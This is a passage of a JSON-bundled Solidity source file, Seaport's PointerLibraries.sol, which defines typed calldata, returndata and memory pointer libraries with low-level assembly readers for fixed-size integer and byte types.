CONSIDERATION\n}\n" }, "lib/seaport/lib/seaport-types/src/helpers/PointerLibraries.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\ntype CalldataPointer is uint256;\n\ntype ReturndataPointer is uint256;\n\ntype MemoryPointer is uint256;\n\nusing CalldataPointerLib for CalldataPointer global;\nusing MemoryPointerLib for MemoryPointer global;\nusing ReturndataPointerLib for ReturndataPointer global;\n\nusing CalldataReaders for CalldataPointer global;\nusing ReturndataReaders for ReturndataPointer global;\nusing MemoryReaders for MemoryPointer global;\nusing MemoryWriters for MemoryPointer global;\n\nCalldataPointer constant CalldataStart = CalldataPointer.wrap(0x04);\nMemoryPointer constant FreeMemoryPPtr = MemoryPointer.wrap(0x40);\nuint256 constant IdentityPrecompileAddress = 0x4;\nuint256 constant OffsetOrLengthMask = 0xffffffff;\nuint256 constant _OneWord = 0x20;\nuint256 constant _FreeMemoryPointerSlot = 0x40;\n\n/// @dev Allocates `size` bytes in memory by increasing the free memory pointer\n/// and returns the memory pointer to the first byte of the allocated region.\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction malloc(uint256 size) pure returns (MemoryPointer mPtr) {\n assembly {\n mPtr := mload(_FreeMemoryPointerSlot)\n mstore(_FreeMemoryPointerSlot, add(mPtr, size))\n }\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction getFreeMemoryPointer() pure returns (MemoryPointer mPtr) {\n mPtr = FreeMemoryPPtr.readMemoryPointer();\n}\n\n// (Free functions cannot have visibility.)\n// solhint-disable-next-line func-visibility\nfunction setFreeMemoryPointer(MemoryPointer mPtr) pure {\n FreeMemoryPPtr.write(mPtr);\n}\n\nlibrary CalldataPointerLib {\n function lt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n CalldataPointer a,\n CalldataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(CalldataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `cdPtr + headOffset` to a calldata.\n /// pointer `cdPtr` must point to some parent object with a dynamic\n /// type's head stored at `cdPtr + headOffset`.\n function pptr(\n CalldataPointer cdPtr,\n uint256 headOffset\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(\n cdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `cdPtr` to a calldata pointer.\n /// `cdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrChild) {\n cdPtrChild = cdPtr.offset(cdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the calldata pointer one word after `cdPtr`.\n function next(\n CalldataPointer cdPtr\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the calldata pointer `_offset` bytes after `cdPtr`.\n function offset(\n CalldataPointer cdPtr,\n uint256 _offset\n ) internal pure returns (CalldataPointer cdPtrNext) {\n assembly {\n cdPtrNext := add(cdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from calldata starting at `src` to memory at\n /// `dst`.\n function copy(\n CalldataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n calldatacopy(dst, src, size)\n }\n }\n}\n\nlibrary ReturndataPointerLib {\n function lt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n ReturndataPointer a,\n ReturndataPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(ReturndataPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n /// @dev Resolves an offset stored at `rdPtr + headOffset` to a returndata\n /// pointer. `rdPtr` must point to some parent object with a dynamic\n /// type's head stored at `rdPtr + headOffset`.\n function pptr(\n ReturndataPointer rdPtr,\n uint256 headOffset\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(\n rdPtr.offset(headOffset).readUint256() & OffsetOrLengthMask\n );\n }\n\n /// @dev Resolves an offset stored at `rdPtr` to a returndata pointer.\n /// `rdPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrChild) {\n rdPtrChild = rdPtr.offset(rdPtr.readUint256() & OffsetOrLengthMask);\n }\n\n /// @dev Returns the returndata pointer one word after `cdPtr`.\n function next(\n ReturndataPointer rdPtr\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _OneWord)\n }\n }\n\n /// @dev Returns the returndata pointer `_offset` bytes after `cdPtr`.\n function offset(\n ReturndataPointer rdPtr,\n uint256 _offset\n ) internal pure returns (ReturndataPointer rdPtrNext) {\n assembly {\n rdPtrNext := add(rdPtr, _offset)\n }\n }\n\n /// @dev Copies `size` bytes from returndata starting at `src` to memory at\n /// `dst`.\n function copy(\n ReturndataPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal pure {\n assembly {\n returndatacopy(dst, src, size)\n }\n }\n}\n\nlibrary MemoryPointerLib {\n function copy(\n MemoryPointer src,\n MemoryPointer dst,\n uint256 size\n ) internal view {\n assembly {\n let success := staticcall(\n gas(),\n IdentityPrecompileAddress,\n src,\n size,\n dst,\n size\n )\n if or(iszero(returndatasize()), iszero(success)) {\n revert(0, 0)\n }\n }\n }\n\n function lt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := lt(a, b)\n }\n }\n\n function gt(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := gt(a, b)\n }\n }\n\n function eq(\n MemoryPointer a,\n MemoryPointer b\n ) internal pure returns (bool c) {\n assembly {\n c := eq(a, b)\n }\n }\n\n function isNull(MemoryPointer a) internal pure returns (bool b) {\n assembly {\n b := iszero(a)\n }\n }\n\n function hash(\n MemoryPointer ptr,\n uint256 length\n ) internal pure returns (bytes32 _hash) {\n assembly {\n _hash := keccak256(ptr, length)\n }\n }\n\n /// @dev Returns the memory pointer one word after `mPtr`.\n function next(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _OneWord)\n }\n }\n\n /// @dev Returns the memory pointer `_offset` bytes after `mPtr`.\n function offset(\n MemoryPointer mPtr,\n uint256 _offset\n ) internal pure returns (MemoryPointer mPtrNext) {\n assembly {\n mPtrNext := add(mPtr, _offset)\n }\n }\n\n /// @dev Resolves a pointer at `mPtr + headOffset` to a memory\n /// pointer. `mPtr` must point to some parent object with a dynamic\n /// type's pointer stored at `mPtr + headOffset`.\n function pptr(\n MemoryPointer mPtr,\n uint256 headOffset\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.offset(headOffset).readMemoryPointer();\n }\n\n /// @dev Resolves a pointer stored at `mPtr` to a memory pointer.\n /// `mPtr` must point to some parent object with a dynamic type as its\n /// first member, e.g. `struct { bytes data; }`\n function pptr(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer mPtrChild) {\n mPtrChild = mPtr.readMemoryPointer();\n }\n}\n\nlibrary CalldataReaders {\n /// @dev Reads the value at `cdPtr` and applies a mask to return only the\n /// last 4 bytes.\n function readMaskedUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n value = cdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `cdPtr` in calldata.\n function readBool(\n CalldataPointer cdPtr\n ) internal pure returns (bool value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the address at `cdPtr` in calldata.\n function readAddress(\n CalldataPointer cdPtr\n ) internal pure returns (address value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `cdPtr` in calldata.\n function readBytes1(\n CalldataPointer cdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `cdPtr` in calldata.\n function readBytes2(\n CalldataPointer cdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `cdPtr` in calldata.\n function readBytes3(\n CalldataPointer cdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `cdPtr` in calldata.\n function readBytes4(\n CalldataPointer cdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `cdPtr` in calldata.\n function readBytes5(\n CalldataPointer cdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `cdPtr` in calldata.\n function readBytes6(\n CalldataPointer cdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `cdPtr` in calldata.\n function readBytes7(\n CalldataPointer cdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `cdPtr` in calldata.\n function readBytes8(\n CalldataPointer cdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `cdPtr` in calldata.\n function readBytes9(\n CalldataPointer cdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `cdPtr` in calldata.\n function readBytes10(\n CalldataPointer cdPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `cdPtr` in calldata.\n function readBytes11(\n CalldataPointer cdPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `cdPtr` in calldata.\n function readBytes12(\n CalldataPointer cdPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `cdPtr` in calldata.\n function readBytes13(\n CalldataPointer cdPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `cdPtr` in calldata.\n function readBytes14(\n CalldataPointer cdPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `cdPtr` in calldata.\n function readBytes15(\n CalldataPointer cdPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `cdPtr` in calldata.\n function readBytes16(\n CalldataPointer cdPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `cdPtr` in calldata.\n function readBytes17(\n CalldataPointer cdPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `cdPtr` in calldata.\n function readBytes18(\n CalldataPointer cdPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `cdPtr` in calldata.\n function readBytes19(\n CalldataPointer cdPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `cdPtr` in calldata.\n function readBytes20(\n CalldataPointer cdPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `cdPtr` in calldata.\n function readBytes21(\n CalldataPointer cdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `cdPtr` in calldata.\n function readBytes22(\n CalldataPointer cdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `cdPtr` in calldata.\n function readBytes23(\n CalldataPointer cdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `cdPtr` in calldata.\n function readBytes24(\n CalldataPointer cdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `cdPtr` in calldata.\n function readBytes25(\n CalldataPointer cdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `cdPtr` in calldata.\n function readBytes26(\n CalldataPointer cdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `cdPtr` in calldata.\n function readBytes27(\n CalldataPointer cdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `cdPtr` in calldata.\n function readBytes28(\n CalldataPointer cdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `cdPtr` in calldata.\n function readBytes29(\n CalldataPointer cdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `cdPtr` in calldata.\n function readBytes30(\n CalldataPointer cdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `cdPtr` in calldata.\n function readBytes31(\n CalldataPointer cdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `cdPtr` in calldata.\n function readBytes32(\n CalldataPointer cdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint8 at `cdPtr` in calldata.\n function readUint8(\n CalldataPointer cdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint16 at `cdPtr` in calldata.\n function readUint16(\n CalldataPointer cdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint24 at `cdPtr` in calldata.\n function readUint24(\n CalldataPointer cdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint32 at `cdPtr` in calldata.\n function readUint32(\n CalldataPointer cdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint40 at `cdPtr` in calldata.\n function readUint40(\n CalldataPointer cdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint48 at `cdPtr` in calldata.\n function readUint48(\n CalldataPointer cdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint56 at `cdPtr` in calldata.\n function readUint56(\n CalldataPointer cdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint64 at `cdPtr` in calldata.\n function readUint64(\n CalldataPointer cdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint72 at `cdPtr` in calldata.\n function readUint72(\n CalldataPointer cdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint80 at `cdPtr` in calldata.\n function readUint80(\n CalldataPointer cdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint88 at `cdPtr` in calldata.\n function readUint88(\n CalldataPointer cdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint96 at `cdPtr` in calldata.\n function readUint96(\n CalldataPointer cdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint104 at `cdPtr` in calldata.\n function readUint104(\n CalldataPointer cdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint112 at `cdPtr` in calldata.\n function readUint112(\n CalldataPointer cdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint120 at `cdPtr` in calldata.\n function readUint120(\n CalldataPointer cdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint128 at `cdPtr` in calldata.\n function readUint128(\n CalldataPointer cdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint136 at `cdPtr` in calldata.\n function readUint136(\n CalldataPointer cdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint144 at `cdPtr` in calldata.\n function readUint144(\n CalldataPointer cdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint152 at `cdPtr` in calldata.\n function readUint152(\n CalldataPointer cdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint160 at `cdPtr` in calldata.\n function readUint160(\n CalldataPointer cdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint168 at `cdPtr` in calldata.\n function readUint168(\n CalldataPointer cdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint176 at `cdPtr` in calldata.\n function readUint176(\n CalldataPointer cdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint184 at `cdPtr` in calldata.\n function readUint184(\n CalldataPointer cdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint192 at `cdPtr` in calldata.\n function readUint192(\n CalldataPointer cdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint200 at `cdPtr` in calldata.\n function readUint200(\n CalldataPointer cdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint208 at `cdPtr` in calldata.\n function readUint208(\n CalldataPointer cdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint216 at `cdPtr` in calldata.\n function readUint216(\n CalldataPointer cdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint224 at `cdPtr` in calldata.\n function readUint224(\n CalldataPointer cdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint232 at `cdPtr` in calldata.\n function readUint232(\n CalldataPointer cdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint240 at `cdPtr` in calldata.\n function readUint240(\n CalldataPointer cdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint248 at `cdPtr` in calldata.\n function readUint248(\n CalldataPointer cdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the uint256 at `cdPtr` in calldata.\n function readUint256(\n CalldataPointer cdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int8 at `cdPtr` in calldata.\n function readInt8(\n CalldataPointer cdPtr\n ) internal pure returns (int8 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int16 at `cdPtr` in calldata.\n function readInt16(\n CalldataPointer cdPtr\n ) internal pure returns (int16 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int24 at `cdPtr` in calldata.\n function readInt24(\n CalldataPointer cdPtr\n ) internal pure returns (int24 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int32 at `cdPtr` in calldata.\n function readInt32(\n CalldataPointer cdPtr\n ) internal pure returns (int32 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int40 at `cdPtr` in calldata.\n function readInt40(\n CalldataPointer cdPtr\n ) internal pure returns (int40 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int48 at `cdPtr` in calldata.\n function readInt48(\n CalldataPointer cdPtr\n ) internal pure returns (int48 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int56 at `cdPtr` in calldata.\n function readInt56(\n CalldataPointer cdPtr\n ) internal pure returns (int56 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int64 at `cdPtr` in calldata.\n function readInt64(\n CalldataPointer cdPtr\n ) internal pure returns (int64 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int72 at `cdPtr` in calldata.\n function readInt72(\n CalldataPointer cdPtr\n ) internal pure returns (int72 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int80 at `cdPtr` in calldata.\n function readInt80(\n CalldataPointer cdPtr\n ) internal pure returns (int80 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int88 at `cdPtr` in calldata.\n function readInt88(\n CalldataPointer cdPtr\n ) internal pure returns (int88 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int96 at `cdPtr` in calldata.\n function readInt96(\n CalldataPointer cdPtr\n ) internal pure returns (int96 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int104 at `cdPtr` in calldata.\n function readInt104(\n CalldataPointer cdPtr\n ) internal pure returns (int104 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int112 at `cdPtr` in calldata.\n function readInt112(\n CalldataPointer cdPtr\n ) internal pure returns (int112 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int120 at `cdPtr` in calldata.\n function readInt120(\n CalldataPointer cdPtr\n ) internal pure returns (int120 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int128 at `cdPtr` in calldata.\n function readInt128(\n CalldataPointer cdPtr\n ) internal pure returns (int128 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int136 at `cdPtr` in calldata.\n function readInt136(\n CalldataPointer cdPtr\n ) internal pure returns (int136 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int144 at `cdPtr` in calldata.\n function readInt144(\n CalldataPointer cdPtr\n ) internal pure returns (int144 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int152 at `cdPtr` in calldata.\n function readInt152(\n CalldataPointer cdPtr\n ) internal pure returns (int152 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int160 at `cdPtr` in calldata.\n function readInt160(\n CalldataPointer cdPtr\n ) internal pure returns (int160 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int168 at `cdPtr` in calldata.\n function readInt168(\n CalldataPointer cdPtr\n ) internal pure returns (int168 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int176 at `cdPtr` in calldata.\n function readInt176(\n CalldataPointer cdPtr\n ) internal pure returns (int176 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int184 at `cdPtr` in calldata.\n function readInt184(\n CalldataPointer cdPtr\n ) internal pure returns (int184 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int192 at `cdPtr` in calldata.\n function readInt192(\n CalldataPointer cdPtr\n ) internal pure returns (int192 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int200 at `cdPtr` in calldata.\n function readInt200(\n CalldataPointer cdPtr\n ) internal pure returns (int200 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int208 at `cdPtr` in calldata.\n function readInt208(\n CalldataPointer cdPtr\n ) internal pure returns (int208 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int216 at `cdPtr` in calldata.\n function readInt216(\n CalldataPointer cdPtr\n ) internal pure returns (int216 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int224 at `cdPtr` in calldata.\n function readInt224(\n CalldataPointer cdPtr\n ) internal pure returns (int224 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int232 at `cdPtr` in calldata.\n function readInt232(\n CalldataPointer cdPtr\n ) internal pure returns (int232 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int240 at `cdPtr` in calldata.\n function readInt240(\n CalldataPointer cdPtr\n ) internal pure returns (int240 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int248 at `cdPtr` in calldata.\n function readInt248(\n CalldataPointer cdPtr\n ) internal pure returns (int248 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n\n /// @dev Reads the int256 at `cdPtr` in calldata.\n function readInt256(\n CalldataPointer cdPtr\n ) internal pure returns (int256 value) {\n assembly {\n value := calldataload(cdPtr)\n }\n }\n}\n\nlibrary ReturndataReaders {\n /// @dev Reads value at `rdPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n value = rdPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `rdPtr` in returndata.\n function readBool(\n ReturndataPointer rdPtr\n ) internal pure returns (bool value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the address at `rdPtr` in returndata.\n function readAddress(\n ReturndataPointer rdPtr\n ) internal pure returns (address value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes1 at `rdPtr` in returndata.\n function readBytes1(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes2 at `rdPtr` in returndata.\n function readBytes2(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes3 at `rdPtr` in returndata.\n function readBytes3(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes4 at `rdPtr` in returndata.\n function readBytes4(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes5 at `rdPtr` in returndata.\n function readBytes5(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes6 at `rdPtr` in returndata.\n function readBytes6(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes7 at `rdPtr` in returndata.\n function readBytes7(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes8 at `rdPtr` in returndata.\n function readBytes8(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes9 at `rdPtr` in returndata.\n function readBytes9(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n 